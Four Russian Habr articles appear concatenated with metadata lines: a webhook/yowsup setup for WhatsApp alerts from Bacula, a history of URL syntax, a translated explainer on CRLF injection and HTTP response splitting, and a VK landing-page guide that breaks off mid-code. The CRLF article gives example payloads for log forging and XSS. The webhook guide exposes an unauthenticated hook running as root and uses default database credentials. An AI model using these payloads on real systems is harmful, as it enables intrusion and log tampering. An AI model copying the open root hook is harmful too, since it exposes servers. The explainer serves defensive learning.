Наигравшись вдоволь, пора приспособить этот прекрасный инструмент для нужд трудящихся вокруг серверов. Для этого было решено использовать достаточно простой и гибкий инструмент Webhook [github.com/adnanh/webhook](https://github.com/adnanh/webhook), хотя есть и масса других способов. Например shell2http [github.com/msoap/shell2http](https://github.com/msoap/shell2http).
Скачиваем и распаковываем webhook в любой каталог. Я для удобства положил в /var/webhook
```
cd /usr/src
wget https://github.com/adnanh/webhook/releases/download/2.6.3/webhook-linux-amd64.tar.gz
tar -xvf webhook-linux-amd64.tar.gz -C /var
mv /var/webhook-linux-amd64 /var/webhook
```
А чтобы потом, при желании, было удобнее добавлять всякие файлы-картинки-видео — так же скопировал yowsup-cli.config в /var/yowsup Как говорится, пусть все будет через одно место.
```
mkdir /var/yowsup
cp /usr/src/yowsup-master/yowsup-cli.config /var/yowsup
```
Поскольку Webhook позволяет запускать через http заранее подготовленные команды — создадим файл с правилами `hooks.json`.
```
cd /var/webhook
nano hooks.json
```
В файле опишем хук, который будет принимать команды по адресу `http://адрес сервера:9000/hooks/wp-admin`, обрабатывать и слать сообщения на whatsapp админа. Внутрь файла добавляем описание условий:
```
[
{
"id": "wp-admin",
"execute-command": "/var/webhook/admin.sh",
"command-working-directory": "/var/webhook",
"pass-arguments-to-command":
[
{
"source": "url",
"name": "msg"
}
]
}
]
```
То есть, каждый, кто вызовет url `http://адрес сервера:9000/hooks/wp-admin?msg=привет` — исполнит скрипт `/var/webhook/admin.sh`, а тот, в свою очередь, отправит привет админу на whatsupp, и только ему. Я решил не передавать каждый раз пару телефон-сообщение, а при необходимости рассылки на другие номера создать дополнительные хуки. Например, хук с отправкой определенному контакт-листу или универсальный с парой телефон-сообщение и каким-то токеном для вящей безопасности.
Итак, проверяем, правильно ли мы написали хук, запуском:
```
./webhook -hooks hooks.json -verbose
```
В ответ увидим:
> [webhook] 2017/04/26 05:12:48 version 2.6.3 starting
>
> [webhook] 2017/04/26 05:12:48 setting up os signal watcher
>
> [webhook] 2017/04/26 05:12:48 attempting to load hooks from hooks.json
>
> [webhook] 2017/04/26 05:12:48 found 1 hook(s) in file
>
> [webhook] 2017/04/26 05:12:48 loaded: wp-admin
>
> [webhook] 2017/04/26 05:12:48 serving hooks on [0.0.0.0](http://0.0.0.0):9000/hooks/{id}
Далее, создаем скрипт отправки /var/webhook/admin.sh, который будет отсылать сообщения админу:
```
#! /bin/bash
msg="$(echo "$*" | tr ' ' ' ')"
if [[ ! -z "${msg/ //}" ]]; then
/usr/bin/yowsup-cli demos -c /var/yowsup/yowsup-cli.config -s 7xxxxxxxxxx "$msg"
fi
```
Добавлена проверка на пустоту и пробелы, чтобы при любом вызове хука не приходили пустые сообщения.
Открываем в браузере `http://адрес сервера:9000/hooks/wp-admin?msg=привет`. Все должно работать. Добавляем хук в автозагрузку. Я сделал через `systemd`.
```
nano /etc/systemd/system/webhook.service
```
Описываем юнит:
```
[Unit]
Description=Webhook
After=syslog.target
After=network.target
[Service]
Type=simple
PIDFile=/var/webhook/webhook-service.pid
WorkingDirectory=/var/webhook
User=root
Group=root
OOMScoreAdjust=-500
ExecStart=/var/webhook/webhook -hooks hooks.json -verbose
ExecStop=/usr/bin/pkill -f webhook
ExecReload=
TimeoutSec=300
[Install]
WantedBy=multi-user.target
```
Сохраняем. Запускаем. Проверяем.
```
systemctl enable webhook
systemctl start webhook
systemctl -l status webhook
```
Теперь можно сделать простую отправку средствами curl с другой машины
```
curl -G http://адрес сервера:9000/hooks/wp-admin?msg=привет
```
Однако, так можно слать лишь скучные сообщения без форматирования, похожие на sms. Чтобы получать красиво отформатированные сообщения, да еще и с emoji-графикой нужно предварительно кодировать содержимое msg в urlencode. Иначе в url попадут esc-последовательности. Это пригодится и для дальнейшего примера с Bacula.
сurl умеет делать urlencode самостоятельно, только синтаксис будет иным. Например, отправим сообщение с переводом строки:
```
export VAR="привет\nбуфет"
export MSG=$(echo -e $VAR)
curl -G http://адрес сервера:9000/hooks/wp-admin --data-urlencode msg="$MSG"
```
Теперь можно заняться bacula, т.е. тем, что, собственно, и сподвигло на вышеописанные пляски Идем на сервер, где установлен bacula-director, ставим bc и curl.
```
yum -y install bc curl
```
Потом берем прекрасный скрипт из статьи [bacula.us/sending-notification-whatsapp](http://bacula.us/sending-notification-whatsapp/) и немного подправляем. Внимание, если хотим использовать смайлики emoji, то файл должен быть в UTF-8.
Из секции Variables удаляем RECIPIENT\_NUMBER и CONF, они нам не понадобятся. А переменную YOWSEXEC изменяем на curl-вызов хука отправки админу.
```
# Variables
HOUR=$(date +%d/%m/%Y\ %H:%M:%S)
YOWSEXEC="curl -G http://ваш сервер:9000/hooks/wp-admin"
LOG="/var/log/bacula/whatsapp.log"
```
Вводим свои данные для подключения к MySQL
```
# MySQL config
DBUSER="bacula"
DBPASSWORD="bacula"
DBNAME="bacula"
```
И вместо строки отправки:
```
$YOWSEXEC demos --config $CONF --send $RECIPIENT_NUMBER "`echo -e "$MESSAGE${COUNT}"`" &>> $LOG
```
пишем:
```
FMSG=`echo -e "$MESSAGE${COUNT}"`
$YOWSEXEC --data-urlencode msg="$FMSG" &>> $LOG
```
Ставим права на исполнение:
```
chmod +x /etc/bacula/send_whatsapp.sh
```
Готово. Теперь, как указано в статье, можно вставлять в задания
```
Command = "/etc/bacula/send_whatsapp.sh %i"
```
и получать на телефон красивые отчеты:

Всем спасибо. Буду благодарен за комментарии и поправки.
UPD(12.01.2018): Yousup обновили до 2.5.7, баги поправили. Если у кого не работает — обновить yowsup, при регистрации использовать --env android (поправил выше). | https://habr.com/ru/post/327404/ | null | ru | null |
# История URL, часть 2: путь, фрагмент, запрос и авторизация

> URL'ы не должны были стать тем, чем стали: мудрёным способом идентифицировать сайт в интернете для пользователя. К сожалению, мы не смогли стандартизировать URN, который мог бы стать более полезной системой наименования. Считать, что современная система URL достаточно хороша — это как боготворить командную строку DOS и говорить, что все люди просто должны научиться пользоваться командной строкой. Оконные интерфейсы были придуманы, чтобы пользоваться компьютерами стало проще, и чтобы сделать их популярнее. Такие же мысли должны привести нас к более хорошему методу определения сайтов в Вебе.
>
>
>
> — Дейл Догэрти, [`1996`](https://lists.w3.org/Archives/Public/www-talk/1996JanFeb/0075.html)
Есть несколько вариантов определения слова "интернет". Один из них — это система компьютеров, соединенных через компьютерную сеть. Такая версия интернета появилась в 1969 году с созданием ARPANET. Почта, файлы и чат работали в этой сети еще до создания HTTP, HTML и веб-браузера.
В 1992 году Тим Бернерс-Ли создал три штуки, благодаря которым родилось то, что мы считаем интернетом: протокол HTTP, HTML и URL. Его целью было воплотить понятие гипертекста в реальности. Гипертекст, в двух словах — это возможность создавать документы, которые ссылаются друг на друга. В те годы идея гипертекста считалась панацеей из научной фантастики, заодно с [гипермедиа](https://en.wikipedia.org/wiki/Hypermedia), и любыми другими словами с приставкой «гипер».
Ключевым требованием гипертекста была возможность ссылаться из одного документа на другой. В то время для хранения документов использовалась куча форматов, а доступ осуществлялся по протоколу вроде [Gopher](https://en.wikipedia.org/wiki/Gopher_(protocol)) или FTP. Тиму нужен был надежный способ ссылаться на файл, так, чтобы в ссылке был закодирован протокол, хост в интернете и местонахождение на этом хосте. Этим способом стал URL, впервые официально задокументированный в RFC в 1994 году.
В [начальной](https://www.w3.org/Conferences/IETF92/WWX_BOF_mins.html) презентации World-Wide Web в марте 1992 Тим Бернерс-Ли описал его как «универсальный идентификатор документов» (Universal Document Identifier или UDI). Множество [других форматов](https://www.w3.org/Protocols/old/osi-ds-29-00.txt) также рассматривались в качестве такого идентификатора:
```
protocol: aftp host: xxx.yyy.edu path: /pub/doc/README
PR=aftp; H=xx.yy.edu; PA=/pub/doc/README;
PR:aftp/xx.yy.edu/pub/doc/README
/aftp/xx.yy.edu/pub/doc/README)
```
Этот документ также объясняет, почему пробелы должны кодироваться в URL (%20):
> В UDI избегают использование пробелов: пробелы — это запрещенные символы. Это сделано потому, что часто появляются лишние пробелы когда строки оборачиваются системами вроде mail, или из-за обычной необходимости выровнять ширину колонки, а так же из-за преобразования различных видов пробелов во время конвертации кодов символов и при передаче текста от приложения к приложению.
Важно понимать, что URL был просто сокращенным способом обратиться к комбинации схемы, домена, порта, учетных данных и пути, которые ранее нужно было определять из контекста для каждой из систем коммуникации.
```
scheme:[//[user:password@]host[:port]][/]path[?query][#fragment]
```
Эта позволило обращаться к разным системам из гипертекста, но сегодня, возможно, такая форма уже избыточна, так как практически все передается через HTTP. В [1996](https://lists.w3.org/Archives/Public/www-talk/1996JanFeb/0075.html) браузеры уже добавляли `http://` и `www.` за пользователей автоматически (что делает рекламу с этими кусками URL по-настоящему бессмысленной).
Путь
====
> Я не считаю, что вопрос «могут ли люди понять значение URL» имеет смысл. Я просто думаю, что морально неприемлемо заставлять бабушку или дедушку вникать в то, что в конечном итоге является нормами файловой системы UNIX.
>
>
>
> — Исраэль дель Рио, [`1996`](https://lists.w3.org/Archives/Public/www-talk/1996JanFeb/0041.html)
Слэш, отделяющий путь в URL, знаком любому, кто использовал компьютер за последние пятьдесят лет. Сама иерархическая файловая система была представлена в системе [MULTICS](http://www.multicians.org/). Ее создатель в свою очередь ссылается на [двухчасовую беседу с Альбертом Эйнштейном,](http://www.csl.sri.com/users/neumann/) которая состоялась в 1952 году.
В MULTICS использовался символ «больше» (`>`) для разделения компонентов файлового пути. Например:
```
>usr>bin>local>awk
```
Это совершенно логично, но, к сожалению, ребята из Unix [решили](https://www.bell-labs.com/usr/dmr/www/cacm.html) использовать `>` для обозначения перенаправления, а для разделения пути взяли слэш (`/`).
Битые ссылки в решениях Верховного Суда
=======================================
> Неправильно. Теперь я четко вижу, что мы не согласны друг с другом. Вы и я.
>
>
>
> …
>
>
>
> Как человек, я хочу сохранить за собой право использовать разные критерии для разных целей. Я хочу иметь возможность давать имена самим работам, **и** конкретным переводам **и** конкретным версиям. Я хочу более богатого мира чем тот, что вы предлагаете. Я не хочу ограничивать себя вашей двухуровневой системой «документов» и «вариантов».
>
>
>
> — Тим Бернерс-Ли, [`1993`](http://1997.webhistory.org/www.lists/www-talk.1993q3/1003.html)
[Половины](http://journals.cambridge.org/action/displayAbstract?fromPage=online&aid=9282809&fileId=S1472669614000255) URL-адресов, на которые ссылается Верховный Суд США, уже не существует. Если вы читаете академическую работу в 2011 году, и написана она была в 2001 году, то с большой вероятностью любой URL там [будет нерабочим](http://bmcbioinformatics.biomedcentral.com/articles/10.1186/1471-2105-14-S14-S5).
В 1993 году [многие страстно верили](http://1997.webhistory.org/www.lists/www-talk.1993q2/0234.html), что URL отомрет, и на замену ему придет URN. Uniform Resource Name — это постоянная ссылка на любой фрагмент, который, в отличие от URL, никогда не изменится и не сломается. Тим Бернерс-Ли описал его как «срочную необходимость» еще в [1991](http://1997.webhistory.org/www.lists/www-talk.1991/0018.html).
Простейший способ создать URN — это использовать криптографический хэш содержания страницы, например:`urn:791f0de3cfffc6ec7a0aacda2b147839`. Однако, этот метод не удовлетворяет критериям веб-сообщества, так как невозможно выяснить, кто и как будет конвертировать этот хэш обратно в реальный контент. Такой способ также не учитывает изменений формата, которые часто происходят в файле (например, сжатие файла), которые не влияют на содержание.

В 1996 Киф Шэйфер и несколько других специалистов предложили решение проблемы поломанных URL. [Ссылка](http://purl.oclc.org/OCLC/PURL/INET96) на это решение сейчас не работает. Рой Филдинг опубликовал предложение реализации в июле 1995 года. [Ссылка](http://ftp.ics.uci.edu/pub/ietf/uri/draft-ietf-uri-roy-urn-urc-00.txt) тоже поломана.
Я смог найти эти страницы через Google, который по сути сделал заголовки страниц современным аналогом URN. Формат URN был окончательно оформлен в 1997 году, и практически не использовался с тех пор. У него интересная реализация. Каждый URN состоит из двух частей: `authority`, который может преобразовать определенный тип URN, и конкретный идентификатор документа в понятном для `authority` формате. Например, `urn:isbn:0131103628` будет обозначать книгу, формируя постоянную ссылку, которая (надеюсь) будет конвертирована в набор URL'ов вашим локальным преобразователем `isbn` .
Учитывая мощность поисковых движков, возможно, что лучшим на сегодня форматом URN могла бы стать простая возможность файлов ссылаться на свой прошлый URL. Мы можем позволить поисковым движкам индексировать эту информацию, и ссылаться на наши страницы корректно:
```
```
Параметры запроса
=================
> Формат application/x-www-form-urlencoded — это аномальный монстр во многих отношениях, результат многих лет случайностей реализаций и компромиссов, которые привели к необходимому для интероперабельности набору требований. Но это точно не образец хорошей архитектуры.
>
>
>
> — [WhatWG URL Spec](https://url.spec.whatwg.org/#application/x-www-form-urlencoded)
Если вы использовали веб какое-то время, то вам знакомы параметры запросов. Они находятся после пути и нужны для кодирования параметров вроде `?name=zack&state=mi`. Может показаться странным, что запросы используют символ амперсанда (`&`), который в HTML используется для кодирования специальных символов. Если вы писали на HTML, то скорее всего столкнулись с необходимостью кодировать амперсанды в URL, превращая `http://host/?x=1&y=2` в `http://host/?x=1&y=2` или `http://host?x=1&y=2` (конкретно эта путаница [существовала всегда](http://1997.webhistory.org/www.lists/www-talk.1992/0447.html)).
Возможно, вы также замечали, что куки (cookies) используют похожий, но все же иной формат: `x=1;y=2`, и он никак не конфликтует с символами HTML. W3C не забыл про эту идею и рекомендовал всем поддерживать как `;`, так и `&` в параметрах запросов еще в [1995](https://tools.ietf.org/html/rfc1866#section-8.2.1) году.
Изначально эта часть URL использовалась исключительно для поиска индексов. Веб изначально был создан (и его финансирование было основано на этом) как метод совместной работы физиков, занимающихся элементарными частицами. Это не означает, что Тим Бернерс-Ли не знал, что он создает систему коммуникации с по-настоящему широким применением. Он [не добавлял поддержку таблиц](http://1997.webhistory.org/www.lists/www-talk.1993q1/0286.html) несколько лет, не смотря на то, что таблицы, наверное, пригодились бы физикам.
Так или иначе, физикам нужен был способ кодирования и связывания информации, и способ поиска этой информации. Для этого Тим Бернерс-Ли создал тег . Если присутствовал на странице, то браузер знал, что по этой странице можно делать поиск. Браузер показывал поисковую строку и позволял пользователю делать запрос на сервер.
[Запрос](https://www.w3.org/History/19921103-hypertext/hypertext/WWW/Addressing/Search.html) представлял собой набор ключевых слов, отделенных друг от друга плюсами (`+`):
```
http://cernvm/FIND/?sgml+cms
```
Как это обычно случается в интернете, тег стали использовать для всего подряд, в том числе как поле ввода числа для вычисления квадратного корня. Вскоре [предложили](https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0042.html) принять тот факт, что такое поле слишком специфично, и нужен тег общего характера .
В том предложении использовался символ плюса для отделения компонентов запроса, но в остальном все напоминает современный GET-запрос:
```
http://somehost.somewhere/some/path?x=xxxx+y=yyyy+z=zzzz
```
Далеко не все одобрили это. [Некоторые считали](https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0032.html), что нужен способ указать поддержку поиска по ту сторону ссылки:
```
[search](wais://quake.think.com/INFO)
```
Тим Бернерс-Ли [думал](https://lists.w3.org/Archives/Public/www-talk/1992NovDec/0044.html), что нужен способ определения строго типизированных запросов:
```
```
Изучая прошлое, готов с определенной долей уверенности сказать: я рад, что победило более общее решение.
Работа над тегом началась в январе 1993 года, она основывалась на более старом типе SGML. Было [решено](http://1997.webhistory.org/www.lists/www-talk.1993q1/0085.html) (пожалуй, к сожалению), что тегу нужна своя, более широкая структура:
```
item 1
item 2
item 3
```
Если вам любопытно, то да, была идея повторно использовать элемент `-` вместо создания нового . Однако, были и другие предложения. В одном из них происходила замена переменных, что напоминает современный Angular:
```
Prompt
Prompt
Prompt1
...
Promptn
```
В этом примере проверяется тип input'ов на основе указания `type`, а значения `VAR` доступны на странице для [замены строк](http://1997.webhistory.org/www.lists/www-talk.1993q2/0150.html) в URL, примерно так:
```
http://eager.io/apps/$appId
```
Дополнительные [предложения](http://1997.webhistory.org/www.lists/www-talk.1993q2/0188.html) использовали `@` вместо `=` для разделения компонентов запроса:
```
name@value+name@(value&value)
```
Марк Андриссен [предложил](http://1997.webhistory.org/www.lists/www-talk.1993q3/0812.html) метод, основанный на том, что он уже реализовал в Mosaic:
```
name=value&name=value&name=value
```
Всего [два месяца спустя](http://1997.webhistory.org/www.lists/www-talk.1993q4/0437.html) Mosaic добавил поддержку `method=POST` в формы, и так родились современные HTML-формы.
Конечно, компания [Netscape](https://web.archive.org/web/19990421025406/http://home.mcom.com/newsref/std/cookie_spec.html) Марка Андриссена создала еще и формат куки (с другим разделителем). Их предложение было болезненно недальновидным, оно привело к попытке создания заголовка [`Set-Cookie2`](https://www.ietf.org/rfc/rfc2965.txt), и создало фундаментальные структурные проблемы, с которыми нам все еще приходится иметь дело в продукте Eager.
Фрагменты
=========
Часть URL после символа ‘#’ известна как «фрагмент» (fragment). Фрагменты были частью URL со времен [первой спецификации](https://www.w3.org/History/19921103-hypertext/hypertext/WWW/Addressing/Addressing.html), они использовались для создания ссылки на конкретное место на загруженной странице. Например, если у меня есть якорь на сайте:
```
```
Я могу сделать на него ссылку:
```
http://zack.is/#bio
```
Эта концепция постепенно была расширена до всех элементов (а не только якорей), и перешла на атрибут `id` вместо `name`:
```
Bio
===
```
Тим Бернерс-Ли решил использовать этот символ, основываясь на связи с форматом почтовых адресов в США (не смотря на то, что сам Тим — британец). По [его словам](https://www.w3.org/People/Berners-Lee/FAQ.html#etc):
> Как минимум в США в почтовых адресах часто используют знак номера для указания номера квартиры или комнаты в здании. 12 Acacia Av #12 означает «Здание 12 на Акация Авеню, и в этом здании квартира 12». Этот символ казался естественным для такой цели. Сегодня [<http://www.example.com/foo#bar>](http://www.example.com/foo#bar) означает «На ресурсе [<http://www.example.com/foo>](http://www.example.com/foo) конкретный вид, известный как bar”.
Оказывается, [первичная система гипертекста](https://en.wikipedia.org/wiki/NLS_(computer_system)), созданная Дугласом Энгельбартом, также использовала "#" для таких целей. Это может быть совпадением или случайным «заимствованием идеи».
Фрагменты специально не включаются в HTTP-запросы, то есть они живут исключительно в браузере. Такая концепция оказалась ценной, когда пришло время реализовывать клиентскую навигацию (до изобретения [pushState](https://developer.mozilla.org/en-US/docs/Web/API/History_API)). Фрагменты также были очень полезными, когда пришло время задуматься о сохранении состояния в URL без отправки на сервер. Что это значит? Давайте разберемся:
### Кротовые холмики и горы
> Есть целый стандарт, такой же мерзкий как SGML, созданный для передачи электронных данных, другими словами — для форм и отправки форм. Единственное, что мне известно: он выглядит как фортран задом наперед без пробелов.
>
>
>
> — Тим Бернерс-Ли, [`1993`](http://1997.webhistory.org/www.lists/www-talk.1993q1/0091.html)
Есть ощущение, разделяемое многими, что организации, отвечающие за стандарты интернета ничего особо не делали с момента окончательного принятия HTTP 1.1. и HTML 4.01 в 2002 до тех пор, пока HTML 5 не стал по-настоящему популярным. Этот период также известен (только для меня) как Темный Век XHTML. В реальности люди, занимающиеся стандартами, были *безумно заняты*. Просто они занимались тем, что в итоге оказалось не слишком ценным.
Одним из направлений было создание Семантического Веба. Была мечта: создать Фреймворк Описания Ресурсов (Resource Description Framework). (прим. ред.: бегите от любой команды, которая хочет сделать фреймворк). Такой фреймворк позволял бы универсально описывать мета-информацию о содержании. Например, вместо того, чтобы делать красивую веб-страницу про мой Корвет Стингрэй, я бы сделал RDF-документ с описанием размеров, цвета и количества штрафов за превышение скорости, которые мне выписали за все время езды.
Это, конечно, совсем не плохая идея. Но формат был основан на XML, и это большая проблема курицы и яйца: нужно задокументировать весь мир, и нужны браузеры, которые умеют делать полезные штуки с этой документацией.
Но эта идея хотя бы родила условия для философских споров. Один из лучших подобных споров длился как минимум десять лет, он известен под искусным кодовым именем ‘[httpRange-14](https://www.w3.org/2001/tag/issues.html#httpRange-14)’.
Целью httpRange-14 было ответить на фундаментальный вопрос «чем является URL?». Всегда ли URL ссылается на документ или он может ссылаться на все, что угодно? Может ли URL ссылаться на мою машину?
Они не пытались ответить на этот вопрос хоть сколько-нибудь удовлетворительно. Вместо этого они фокусировались на том, как и когда можно использовать редирект 303 чтобы сообщить пользователю, что по ссылке нет документа, и перенаправить его туда, где документ есть. И на том, когда можно использовать фрагменты (часть после ‘#’), чтобы [направлять пользователей на связанные данные](http://blog.iandavis.com/2010/11/a-guide-to-publishing-linked-data-without-redirects/).
Прагматичному современному человеку эти вопросы могут показаться смешными. Многие из нас привыкли, что если URL получается использовать для чего-то, то значит его можно использовать для этого. И люди или будут использовать ваш продукт, или нет.
Но Семантический Веб заботился только о семантике.
Эта конкретная тема обсуждалась [1 июля 2002 года](http://www.w3.org/2002/07/01-tag-summary#arch-doc), [15 июля 2002 года](http://www.w3.org/2002/07/15-tag-summary#L3330), [22 июля 2002 года](http://www.w3.org/2002/07/22-tag-summary#L3974), [29 июля 2002 года](http://www.w3.org/2002/07/29-tag-summary#httpRange-14), [16 сентября 2002 года](http://lists.w3.org/Archives/Public/www-tag/2002Sep/0127), и как минимум еще 20 раз в течение 2005 года. Обсуждение закончилось благодаря тому самому ‘[решению httpRange-14](https://lists.w3.org/Archives/Public/www-tag/2005Jun/0039.html)’ в 2005 году, и к нему вернулись снова из-за жалоб в [2007](https://lists.w3.org/Archives/Public/www-tag/2007Jul/0034.html) и [2011](https://lists.w3.org/Archives/Public/public-awwsw/2011Jan/0021.html), а [запрос новых решений](https://www.w3.org/2001/tag/doc/uddp/change-proposal-call.html) был открыт в 2012. Вопрос долго обсуждался группой [pedantic web](https://groups.google.com/forum/#!searchin/pedantic-web/httprange-14/pedantic-web/iLY6VFvN-H0/SXQwc-lOpM8J), у которой очень подходящее название. Единственное, чего так и не произошло — никакие из этих семантических данных так и не были добавлены в веб в какой-либо URL.
### Авторизация
Как вы знаете, в URL можно включить логин и пароль:
```
http://zack:shhhhhh@zack.is
```
Браузер кодирует эти данные в формат [Base64](https://en.wikipedia.org/wiki/Base64) и посылает в виде заголовка:
```
Authentication: Basic emFjazpzaGhoaGho
```
Base64 используется только для того, чтобы можно было передавать запрещенные в заголовках символы. Он никак не скрывает логин и пароль.
Это было проблемой, особенно до распространения SSL. Любой человек, который следит за вашим соединением, мог с легкостью увидеть пароль. Предлагали [много альтернатив](http://1997.webhistory.org/www.lists/www-talk.1993q3/0297.html), в том числе [Kerberos](https://en.wikipedia.org/wiki/Kerberos_(protocol)), который был и остается популярным протоколом безопасности.
Как и с другими примерами нашей истории, [простую базовую авторизацию](http://1997.webhistory.org/www.lists/www-talk.1993q3/0882.html) было проще всего реализовать разработчикам браузеров (Mosaic). Так базовая авторизация стала первым и единственным решением до тех пор, пока разработчики не получили инструменты для создания собственных систем аутентификации.
### Веб-приложение
В мире веб-приложений странно представить, что основой веба является гиперссылка. Это метод соединения одного документа с другим, который со временем оброс стилями, возможностью запуска кода, сессиями, аутентификацией и в конечном итоге стал общей социальной компьютерной системой, которую пытались (безуспешно) создать так много исследователей 70-х годов.
Вывод такой же, как и у любого современного проекта или стартапа: только распространение имеет смысл. Если вы сделали что-то, что люди используют, даже если это некачественный продукт, то они помогут вам превратить его в то, чего хотят сами. И с другой стороны, конечно, если никто не пользуется продуктом, то его техническое совершенство не имеет значения. Существует бесчисленное количество инструментов, на которые ушли миллионы часов работы, но ими пользуется ровно ноль человек. | https://habr.com/ru/post/305654/ | null | ru | null |
# CRLF-инъекции и HTTP Response Splitting
***Привет, Хабровчане! В преддверии старта занятий в ближайшей группе профессионального курса [«Безопасность веб-приложений»](https://otus.pw/xSFL/), мы подготовили для вас еще один полезный перевод.***
---

Что такое CRLF?
---------------
Когда браузер отправляет запрос веб-серверу, тот отправляет ответ, который содержит заголовки HTTP-ответа и сам контент сайта, то есть тело ответа. HTTP-заголовки и HTML-ответ (содержимое сайта) разделяются определенной комбинацией специальных символов, а именно возвратом каретки (carriage return) и подачей строки (line feed). Сокращается это как CRLF.
Веб-сервер использует CRLF, чтобы понять, где начинается новый HTTP-заголовок и заканчивается старый. Также CRLF может сообщить веб-приложению или пользователю, что новая строка начинается в файле или в блоке текста. Символы CRLF – это стандартное сообщение HTTP/1.1, поэтому оно используется любым типом веб-сервера, включая [Apache](https://www.netsparker.com/server-security-software/apache-security-scanner/), Microsoft IIS и другие.

Что такое CRLF-инъекция?
------------------------
При CRLF-инъекции злоумышленник вставляет символы возврата каретки и ввода строки в пользовательский ввод, чтобы обмануть сервер, веб-приложение или пользователя, заставив его думать, что один объект завершился, а другой начался. Таким образом, CRLF-последовательности не являются вредоносными символами сами по себе, но могут быть использованы злоумышленниками для разделения HTTP-ответов (HTTP Response Splitting).
CRLF-инъекция в веб-приложениях
-------------------------------
Для веб-приложений CRLF-инъекции могут иметь серьезные последствия, которые будут зависеть от того, как приложение работает с данными. Последствия могут варьироваться от раскрытия конфиденциальной информации до выполнения вредоносного кода, что напрямую влияет на уровень безопасности веб-приложения. На самом деле атака типа CRLF-инъекции может нанести серьёзный вред веб-приложению несмотря на то, что она не была включена в список OWASP Top 10. Например, таким образом можно изменять логи в панели администратора, как показано в примере ниже.
Пример CRLF-инъекции в логи
---------------------------
Представьте себе файл с логами в панели администратора с шаблоном выходного потока *IP — Время – Путь*, как показано ниже:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Если злоумышленник может сделать инъекцию CRLF-символов в HTTP-запрос, он может изменить выходной поток и фальсифицировать логи. Он может изменить ответ веб-приложения на что-нибудь подобное:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Здесь %0d и %0a – закодированные URL символы CR и LF. Таким образом после того, как злоумышленник вставит эти символы, а приложение выведет их, логи будут выглядеть следующим образом:
IP — Время – Путь
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Таким образом, используя CRLF-инъекции, злоумышленник может подделать записи в логах, чтобы замести следы. Злоумышленник буквально делает hijacking страницы и изменяет ответ. Например, представим сценарий, в котором у злоумышленника есть пароль администратора и выполняется параметр *restrictedaction*, который может использовать только администратор.
Проблема заключается в том, что если администратор заметит, что неизвестный IP использует параметр *restrictedaction*, то поймет, что что-то не так. Однако пока это выглядит так, будто команда была выдана localhost (и, потому, вероятно, кем-то, кто имеет доступ к серверу, например, администратором), это не будет выглядеть подозрительно.
Часть запроса, начинающаяся с %0d%0a будет обработана сервером как один параметр. После этого появится еще один & с параметром *restrictedaction*, который будет воспринят сервером, как еще один параметр. По сути, это будет тот же самый запрос, что и:
```
/index.php?page=home&restrictedaction=edit
```
HTTP Response Splitting
-----------------------
### Описание
Поскольку заголовок HTTP-ответа и его тело разделены символами CRLF, злоумышленник может попытаться внедрить их. Комбинация CRLFCRLF скажет браузеру, что заголовок заканчивается и начинается тело. Значит теперь он может записывать данные в тело ответа туда, где лежит HTML-код. Это может привести к уязвимости межсайтового скриптинга.
### Пример HTTP Response Splitting, приводящего к XSS
Представьте, что приложение устанавливает собственный заголовок, например:
```
X-Your-Name: Bob
```
Значение заголовка задается с помощью GET-параметра «name». Если нет кодировки URL-адреса и значение просто содержится в заголовке, то злоумышленник может вставить вышеупомянутую комбинацию CRLFCRLF, чтобы сообщить браузеру о начале тела запроса. Так он может вставить данные, например, полезную нагрузку XSS:
```
?name=Bob%0d%0a%0d%0aalert(document.domain)
```
Вышеуказанное выведет окно оповещения в контексте атакуемого домена.
Инъекция в HTTP-заголовки
-------------------------
### Описание
С помощью CRLF-инъекции, злоумышленник также может вставлять HTTP-заголовки, которые могут быть использованы для обхода механизмов безопасности, таких как XSS-фильтр браузера или политики одинакового источника (same-origin-policy). Так злоумышленник может получить конфиденциальную информацию, такую как CSRF-токены. Он даже может установить файлы cookie, которые могут быть эксплуатированы путем входа жертвы в учетную запись злоумышленника или использования уязвимости [межсайтового скриптинга (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/).
### Пример инъекции в HTTP-заголовок для извлечения конфиденциальных данных
Если злоумышленник сможет сделать инъекцию в HTTP-заголовок, который активирует CORS (Cross Origin Resource Sharing), то он сможет использовать javascript для доступа к ресурсам, защищенным SOP (Same Origin Policy), которая запрещает сайтам из разных источников получать доступ друг к другу.
Последствия CRLF-инъекции
-------------------------
Последствия CRLF-инъекции варьируются и могут включать в себя все последствия использования XSS и раскрытия конфиденциальной информации. Таким способом можно деактивировать некоторые ограничения системы безопасности, такие как фильтры XSS и Same Origin Policy в браузерах жертвы, делая их уязвимыми к вредоносным атакам.
Как предотвратить CRLF/HTTP-инъекции заголовков в веб-приложениях
-----------------------------------------------------------------
Лучший метод предотвращения – это не использовать ввод данных пользователем непосредственно в заголовок ответа. Если это невозможно, вы всегда должны использовать функцию для кодирования специальных символов CRLF. Еще одна хорошая практика безопасности – это обновление языка программирования до версии, которая не позволяет делать инъекции CR и LF внутри функций, которые устанавливают HTTP-заголовки.
### Таблица классификации уязвимостей и их степени тяжести

---
Подробнее о курсе [«Безопасность веб-приложений»](https://otus.pw/xSFL/)
--- | https://habr.com/ru/post/512226/ | null | ru | null |
# Веб-приложение размером с пигмея
Еще недели не прошло с анонса новых методов api вконтакте. Для владельцев сообществ выкатили возможность подписывать пользователей на уведомления от сообщества, что дает право владельцам писать подписчикам неограниченно. Не за горами приложения, ака рассылки по подписчикам сообщества, со статистикой, шаблонами, отложенной рассылкой и вообще.
Бренды, блогеры и еще кто-нибудь начнут собирать базы подписчиков. В этой статье я расскажу как создать крохотное, но функциональное приложение генерирующее лендинг c кнопкой подписки на сообщения от сообщества. Ака лендинг пэйдж для посетителей с вк.

Погнали
-------
Нам потребуется минут 15 на сборку, домен, хостинг, токен-ключ сообщества вк и сколько-то времени для CSS-стилей.
Токен-ключ нужен для управления сообществом и отправки запросов к вк api от имени сообщества. Нам он потребуется один раз, чтобы узнать id сообщества пользователя. Создать его просто, нужно зайти в управление сообществом вконтакте и нажать создать ключ в разделе работа с api. Сделайте это в одном из своих сообществ или создайте новое под это дело.

Полученный токен не для чужих глаз
----------------------------------
Код виджета «Разрешить писать сообществу» очень прост и выглядит следующим образом.
Где 53495256 — это уникальный id сообщества. Вместо этих цифр мы подставим id любого сообщества для которого генерируем страницу подписки.
```
